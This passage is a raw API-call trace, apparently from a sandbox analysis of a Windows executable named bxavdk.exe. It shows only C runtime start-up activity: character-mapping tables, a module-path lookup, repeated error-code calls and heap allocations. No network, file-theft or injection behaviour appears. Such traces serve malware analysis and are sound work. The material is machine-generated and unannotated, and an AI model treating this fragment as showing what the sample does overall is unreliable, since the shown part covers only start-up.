¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ엛帡⟃AĀ") returned 256 [0049.725] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ엛帡⟃AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0049.725] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ엛帡⟃AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0049.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x6b\x9b\x60\x5f\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0049.735] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x46a338, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bxavdk.exe")) returned 0x30 [0049.735] GetLastError () returned 0x0 [0049.735] SetLastError (dwErrCode=0x0) [0049.735] GetLastError () returned 0x0 [0049.735] SetLastError (dwErrCode=0x0) [0049.735] GetLastError () returned 0x0 [0049.735] SetLastError (dwErrCode=0x0) [0049.735] GetLastError () returned 0x0 [0049.735] SetLastError (dwErrCode=0x0) [0049.735] GetLastError () returned 0x0 [0049.735] SetLastError (dwErrCode=0x0) [0049.735] GetLastError () returned 0x0 [0049.735] SetLastError (dwErrCode=0x0) [0049.735] GetLastError () returned 0x0 [0049.735] SetLastError (dwErrCode=0x0) [0049.735] GetLastError () returned 0x0 [0049.735] SetLastError (dwErrCode=0x0) [0049.735] GetLastError () returned 0x0 [0049.735] SetLastError (dwErrCode=0x0) [0049.735] GetLastError () returned 0x0 [0049.735] SetLastError (dwErrCode=0x0) [0049.735] GetLastError () returned 0x0 [0049.735] SetLastError (dwErrCode=0x0) [0049.735] GetLastError () returned 0x0 [0049.735] SetLastError (dwErrCode=0x0) [0049.736] GetLastError () returned 0x0 [0049.736] SetLastError (dwErrCode=0x0) [0049.736] GetLastError () returned 0x0 [0049.736] SetLastError (dwErrCode=0x0) [0049.736] GetLastError () returned 0x0 [0049.736] SetLastError (dwErrCode=0x0) [0049.736] GetLastError () returned 0x0 [0049.736] SetLastError (dwErrCode=0x0) [0049.736] GetLastError () returned 0x0 [0049.736] SetLastError (dwErrCode=0x0) [0049.736] GetLastError () returned 0x0 [0049.736] SetLastError (dwErrCode=0x0) [0049.736] GetLastError () returned 0x0 [0049.736] SetLastError (dwErrCode=0x0) [0049.736] GetLastError () returned 0x0 [0049.736] SetLastError (dwErrCode=0x0) [0049.736] GetLastError () returned 0x0 [0049.736] SetLastError (dwErrCode=0x0) [0049.736] GetLastError () returned 0x0 [0049.736] SetLastError (dwErrCode=0x0) [0049.736] GetLastError () returned 0x0 [0049.736] SetLastError (dwErrCode=0x0) [0049.736] GetLastError () returned 0x0 [0049.736] SetLastError (dwErrCode=0x0) [0049.736] GetLastError () returned 0x0 [0049.737] SetLastError (dwErrCode=0x0) [0049.737] GetLastError () returned 0x0 [0049.737] SetLastError (dwErrCode=0x0) [0049.737] GetLastError () returned 0x0 [0049.737] SetLastError (dwErrCode=0x0) [0049.737] GetLastError () returned 0x0 [0049.737] SetLastError (dwErrCode=0x0) [0049.737] GetLastError () returned 0x0 [0049.737] SetLastError (dwErrCode=0x0) [0049.737] GetLastError () returned 0x0 [0049.737] SetLastError (dwErrCode=0x0) [0049.737] GetLastError () returned 0x0 [0049.737] SetLastError (dwErrCode=0x0) [0049.737] GetLastError () returned 0x0 [0049.737] SetLastError (dwErrCode=0x0) [0049.737] GetLastError () returned 0x0 [0049.737] SetLastError (dwErrCode=0x0) [0049.737] GetLastError () returned 0x0 [0049.737] SetLastError (dwErrCode=0x0) [0049.737] GetLastError () returned 0x0 [0049.737] SetLastError (dwErrCode=0x0) [0049.737] GetLastError () returned 0x0 [0049.737] SetLastError (dwErrCode=0x0) [0049.737] GetLastError () returned 0x0 [0049.738] SetLastError (dwErrCode=0x0) [0049.738] GetLastError () returned 0x0 [0049.738] SetLastError (dwErrCode=0x0) [0049.738] GetLastError () returned 0x0 [0049.738] SetLastError (dwErrCode=0x0) [0049.738] GetLastError () returned 0x0 [0049.738] SetLastError (dwErrCode=0x0) [0049.738] GetLastError () returned 0x0 [0049.738] SetLastError (dwErrCode=0x0) [0049.738] GetLastError () returned 0x0 [0049.738] SetLastError (dwErrCode=0x0) [0049.738] GetLastError () returned 0x0 [0049.738] SetLastError (dwErrCode=0x0) [0049.738] GetLastError () returned 0x0 [0049.738] SetLastError (dwErrCode=0x0) [0049.738] GetLastError () returned 0x0 [0049.738] SetLastError (dwErrCode=0x0) [0049.738] GetLastError () returned 0x0 [0049.738] SetLastError (dwErrCode=0x0) [0049.738] GetLastError () returned 0x0 [0049.738] SetLastError (dwErrCode=0x0) [0049.738] GetLastError () returned 0x0 [0049.738] SetLastError (dwErrCode=0x0) [0049.738] GetLastError () returned 0x0 [0049.738] SetLastError (dwErrCode=0x0) [0049.739] GetLastError () returned 0x0 [0049.739] SetLastError (dwErrCode=0x0) [0049.739] GetLastError () returned 0x0 [0049.739] SetLastError (dwErrCode=0x0) [0049.739] GetLastError () returned 0x0 [0049.739] SetLastError (dwErrCode=0x0) [0049.739] GetLastError () returned 0x0 [0049.739] SetLastError (dwErrCode=0x0) [0049.739] GetLastError () returned 0x0 [0049.739] SetLastError (dwErrCode=0x0) [0049.739] GetLastError () returned 0x0 [0049.739] SetLastError (dwErrCode=0x0) [0049.739] GetLastError () returned 0x0 [0049.739] SetLastError (dwErrCode=0x0) [0049.739] GetLastError () returned 0x0 [0049.739] SetLastError (dwErrCode=0x0) [0049.739] GetLastError () returned 0x0 [0049.739] SetLastError (dwErrCode=0x0) [0049.739] GetLastError () returned 0x0 [0049.739] SetLastError (dwErrCode=0x0) [0049.739] GetLastError () returned 0x0 [0049.739] SetLastError (dwErrCode=0x0) [0049.739] GetLastError () returned 0x0 [0049.739] SetLastError (dwErrCode=0x0) [0049.739] GetLastError () returned 0x0 [0049.740] SetLastError (dwErrCode=0x0) [0049.740] GetLastError () returned 0x0 [0049.740] SetLastError (dwErrCode=0x0) [0049.740] GetLastError () returned 0x0 [0049.740] SetLastError (dwErrCode=0x0) [0049.740] GetLastError () returned 0x0 [0049.740] SetLastError (dwErrCode=0x0) [0049.740] GetLastError () returned 0x0 [0049.740] SetLastError (dwErrCode=0x0) [0049.740] GetLastError () returned 0x0 [0049.740] SetLastError (dwErrCode=0x0) [0049.740] GetLastError () returned 0x0 [0049.740] SetLastError (dwErrCode=0x0) [0049.740] GetLastError () returned 0x0 [0049.740] SetLastError (dwErrCode=0x0) [0049.740] GetLastError () returned 0x0 [0049.740] SetLastError (dwErrCode=0x0) [0049.740] GetLastError () returned 0x0 [0049.741] SetLastError (dwErrCode=0x0) [0049.741] GetLastError () returned 0x0 [0049.741] SetLastError (dwErrCode=0x0) [0049.741] GetLastError () returned 0x0 [0049.741] SetLastError (dwErrCode=0x0) [0049.741] GetLastError () returned 0x0 [0049.741] SetLastError (dwErrCode=0x0) [0049.741] GetLastError () returned 0x0 [0049.741] SetLastError (dwErrCode=0x0) [0049.741] GetLastError () returned 0x0 [0049.741] SetLastError (dwErrCode=0x0) [0049.741] GetLastError () returned 0x0 [0049.741] SetLastError (dwErrCode=0x0) [0049.741] GetLastError () returned 0x0 [0049.741] SetLastError (dwErrCode=0x0) [0049.741] GetLastError () returned 0x0 [0049.741] SetLastError (dwErrCode=0x0) [0049.741] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x66) returned 0x221990 [0049.741] GetLastError () returned 0x0 [0049.741] SetLastError (dwErrCode=0x0) [0049.741] GetLastError () returned 0x0 [0049.741] SetLastError (dwErrCode=0x0) [0049.741] GetLastError () returned 0x0 [0049.741] SetLastError (dwErrCode=0x0) [0049.741] GetLastError () returned 0x0 [0049.742] SetLastError (dwErrCode=0x0) [0049.742] GetLastError () returned 0x0 [0049.742] SetLastError (dwErrCode=0x0) [0049.742] GetLastError () returned 0x0 [0049.742] SetLastError (dwErrCode=0x0) [0049.742] GetLastError () returned 0x0 [0049.742] SetLastError (dwErrCode=0x0) [0049.742] GetLastError () returned 0x0 [0049.742] SetLastError (dwErrCode=0x0) [0049.742] GetLastError () returned 0x0 [0049.742] SetLastError (dwErrCode=0x0) [0049.742] GetLastError () returned 0x0 [0049.742] SetLastError (dwErrCode=0x0) [0049.742] GetLastError () returned 0x0 [0049.742] SetLastError (dwErrCode=0x0) [0049.742] GetLastError () returned 0x0 [0049.742] SetLastError (dwErrCode=0x0) [0049.742] GetLastError () returned 0x0 [0049.742] SetLastError (dwErrCode=0x0) [0049.742] GetLastError () returned 0x0 [0049.742] SetLastError (dwErrCode=0x0) [0049.742] GetLastError () returned 0x0 [0049.742] SetLastError (dwErrCode=0x0) [0049.742] GetLastError () returned 0x0 [0049.742] SetLastError (dwErrCode=0x0) [0049.743] GetLastError () returned 0x0 [0049.743] SetLastError (dwErrCode=0x0) [0049.743] GetLastError () returned 0x0 [0049.743] SetLastError (dwErrCode=0x0) [0049.743] GetLastError () returned 0x0 [0049.743] SetLastError (dwErrCode=0x0) [0049.743] GetLastError () returned 0x0 [0049.743] SetLastError (dwErrCode=0x0) [0049.743] GetLastError () returned 0x0 [0049.743] SetLastError (dwErrCode=0x0) [0049.743] GetLastError () returned 0x0 [0049.743] SetLastError (dwErrCode=0x0) [0049.743] GetLastError () returned 0x0 [0049.743] SetLastError (dwErrCode=0x0) [0049.743] GetLastError () returned 0x0 [0049.743] SetLastError (dwErrCode=0x0) [0049.743] GetLastError () returned 0x0 [0049.743] SetLastError (dwErrCode=0x0) [0049.743] GetLastError () returned 0x0 [0049.743] SetLastError (dwErrCode=0x0) [0049.743] GetLastError () returned 0x0 [0049.743] SetLastError (dwErrCode=0x0) [0049.743] GetLastError () returned 0x0 [0049.743] SetLastError (dwErrCode=0x0) [0049.743] GetLastError () returned 0x0 [0049.744] SetLastError (dwErrCode=0x0) [0049.744] GetLastError () returned 0x0 [0049.744] SetLastError (dwErrCode=0x0) [0049.744] GetLastError () returned 0x0 [0049.744] SetLastError (dwErrCode=0x0) [0049.744] GetLastError () returned 0x0 [0049.744] SetLastError (dwErrCode=0x0) [0049.744] GetLastError () returned 0x0 [0049.744] SetLastError (dwErrCode=0x0) [0049.744] GetLastError () returned 0x0 [0049.744] SetLastError (dwErrCode=0x0) [0049.744] GetLastError () returned 0x0 [0049.744] SetLastError (dwErrCode=0x0) [0049.744] GetLastError () returned 0x0 [0049.744] SetLastError (dwErrCode=0x0) [0049.744] GetLastError () returned 0x0 [0049.744] SetLastError (dwErrCode=0x0) [0049.744] GetLastError () returned 0x0 [0049.744] SetLastError (dwErrCode=0x0) [0049.744] GetLastError () returned 0x0 [0049.744] SetLastError (dwErrCode=0x0) [0049.744] GetLastError () returned 0x0 [0049.744] SetLastError (dwErrCode=0x0) [0049.744] GetLastError () returned 0x0 [0049.745] SetLastError (dwErrCode=0x0) [0049.745] GetLastError () returned 0x0 [0049.745] SetLastError (dwErrCode=0x0) [0049.745] GetLastError () returned 0x0 [0049.745] SetLastError (dwErrCode=0x0) [0049.745] GetLastError () returned 0x0 [0049.745] SetLastError (dwErrCode=0x0) [0049.745] GetLastError () returned 0x0 [0049.745] SetLastError (dwErrCode=0x0) [0049.745] GetLastError () returned 0x0 [0049.745] SetLastError (dwErrCode=0x0) [0049.745] GetLastError () returned 0x0 [0049.745] SetLastError (dwErrCode=0x0) [0049.745] GetLastError () returned 0x0 [0049.745] SetLastError (dwErrCode=0x0) [0049.745] GetLastError () returned 0x0 [0049.745] SetLastError (dwErrCode=0x0) [0049.745] GetLastError () returned 0x0 [0049.745] SetLastError (dwErrCode=0x0) [0049.745] GetLastError () returned 0x0 [0049.745] SetLastError (dwErrCode=0x0) [0049.745] GetLastError () returned 0x0 [0049.745] SetLastError (dwErrCode=0x0) [0049.745] GetLastError () returned 0x0 [0049.745] SetLastError (dwErrCode=0x0) [0049.746] GetLastError () returned 0x0 [0049.746] SetLastError (dwErrCode=0x0) [0049.746] GetLastError () returned 0x0 [0049.746] SetLastError (dwErrCode=0x0) [0049.746] GetLastError () returned 0x0 [0049.746] SetLastError (dwErrCode=0x0) [0049.746] GetLastError () returned 0x0 [0049.746] SetLastError (dwErrCode=0x0) [0049.746] GetLastError () returned 0x0 [0049.746] SetLastError (dwErrCode=0x0) [0049.746] GetLastError () returned 0x0 [0049.746] SetLastError (dwErrCode=0x0) [0049.746] GetLastError () returned 0x0 [0049.746] SetLastError (dwErrCode=0x0) [0049.746] GetLastError () returned 0x0 [0049.746] SetLastError (dwErrCode=0x0) [0049.746] GetLastError () returned 0x0 [0049.746] SetLastError (dwErrCode=0x0) [0049.746] GetLastError () returned 0x0 [0049.746] SetLastError (dwErrCode=0x0) [0049.746] GetLastError () returned 0x0 [0049.746] SetLastError (dwErrCode=0x0) [0049.746] GetLastError () returned 0x0 [0049.746] SetLastError (dwErrCode=0x0) [0049.746] GetLastError () returned 0x0 [0049.747] SetLastError (dwErrCode=0x0) [0049.747] GetLastError () returned 0x0 [0049.747] SetLastError (dwErrCode=0x0) [0049.747] GetLastError () returned 0x0 [0049.747] SetLastError (dwErrCode=0x0) [0049.747] GetLastError () returned 0x0 [0049.747] SetLastError (dwErrCode=0x0) [0049.747] GetLastError () returned 0x0 [0049.747] SetLastError (dwErrCode=0x0) [0049.747] GetLastError () returned 0x0 [0049.747] SetLastError (dwErrCode=0x0) [0049.747] GetLastError () returned 0x0 [0049.747] SetLastError (dwErrCode=0x0) [0049.747] GetLastError () returned 0x0 [0049.747] SetLastError (dwErrCode=0x0) [0049.747] GetLastError () returned 0x0 [0049.747] SetLastError (dwErrCode=0x0) [0049.747] GetLastError () returned 0x0 [0049.747] SetLastError (dwErrCode=0x0) [0049.747] GetLastError () returned 0x0 [0049.747] SetLastError (dwErrCode=0x0) [0049.747] GetLastError () returned 0x0 [0049.747] SetLastError (dwErrCode=0x0) [0049.747] GetLastError () returned 0x0 [0049.748] SetLastError (dwErrCode=0x0) [0049.748] GetLastError () returned 0x0 [0049.748] SetLastError (dwErrCode=0x0) [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x98) returned 0x221a00 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1f) returned 0x221aa0 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x36) returned 0x221ac8 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x37) returned 0x221b08 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x3c) returned 0x221b48 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x31) returned 0x221b90 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x17) returned 0x221bd0 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x24) returned 0x221bf0 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x14) returned 0x221c20 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xd) returned 0x221c40 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x25) returned 0x221c58 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x39) returned 0x221c88 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x18) returned 0x221cd0 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x17) returned 0x221cf0 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xe) returned 0x221d10 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x69) returned 0x221d28 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x3e) returned 0x221da0 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1b) returned 0x221de8 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1d) returned 0x221e10 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x48) returned 0x221e38 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x12) returned 0x221e88 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x18) returned 0x221ea8 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1b) returned 0x221ec8 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x24) returned 0x221ef0 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x29) returned 0x221f20 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1e) returned 0x221f58 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x41) returned 0x221f80 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x17) returned 0x221fd0 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xf) returned 0x221ff0 [0049.748] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x16) returned 0x222008 [0049.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x2a) returned 0x222028 [0049.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x29) returned 0x222060 [0049.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x15) returned 0x222098 [0049.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x1e) returned 0x2220b8 [0049.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x2a) returned 0x2220e0 [0049.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x12) returned 0x222118 [0049.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x18) returned 0x222138 [0049.749] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x46) returned 0x222158 [0049.749] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2211f8 | out: hHeap=0x220000) returned 1 [0049.750] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0049.750] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x800) returned 0x2221a8 [0049.750] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0049.750] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x80) returned 0x2211f8 [0049.750] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40b78a) returned 0x0 [0049.750] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2211f8) returned 0x80 [0049.750] GetLastError () returned 0x0 [0049.750] SetLastError (dwErrCode=0x0) [0049.750] GetLastError () returned 0x0 [0049.750] SetLastError (dwErrCode=0x0) [0049.750] GetLastError () returned 0x0 [0049.750] SetLastError (dwErrCode=0x0) [0049.751] GetLastError () returned 0x0 [0049.751] SetLastError (dwErrCode=0x0) [0049.751] GetLastError () returned 0x0 [0049.751] SetLastError (dwErrCode=0x0) [0049.751] GetLastError () returned 0x0 [0049.751] SetLastError (dwErrCode=0x0) [0049.751] GetLastError () returned 0x0 [0049.751] SetLastError (dwErrCode=0x0) [0049.751] GetLastError () returned 0x0 [0049.751] SetLastError (dwErrCode=0x0) [0049.751] GetLastError () returned 0x0 [0049.751] SetLastError (dwErrCode=0x0) [0049.751] GetLastError () returned 0x0 [0049.751] SetLastError (dwErrCode=0x0) [0049.751] GetLastError () returned 0x0 [0049.751] SetLastError (dwErrCode=0x0) [0049.751] GetLastError () returned 0x0 [0049.751] SetLastError (dwErrCode=0x0) [0049.751] GetLastError () returned 0x0 [0049.751] SetLastError (dwErrCode=0x0) [0049.751] GetLastError () returned 0x0 [0049.751] SetLastError (dwErrCode=0x0) [0049.751] GetLastError () returned 0x0 [0049.751] SetLastError (dwErrCode=0x0) [0049.752] GetLastError () returned 0x0 [0049.752] SetLastError (dwErrCode=0x0) [0049.752] GetLastError () returned 0x0 [0049.752] SetLastError (dwErrCode=0x0) [0049.752] GetLastError () returned 0x0 [0049.752] SetLastError (dwErrCode=0x0) [0049.752] GetLastError () returned 0x0 [0049.752] SetLastError (dwErrCode=0x0) [0049.752] GetLastError () returned 0x0 [0049.752] 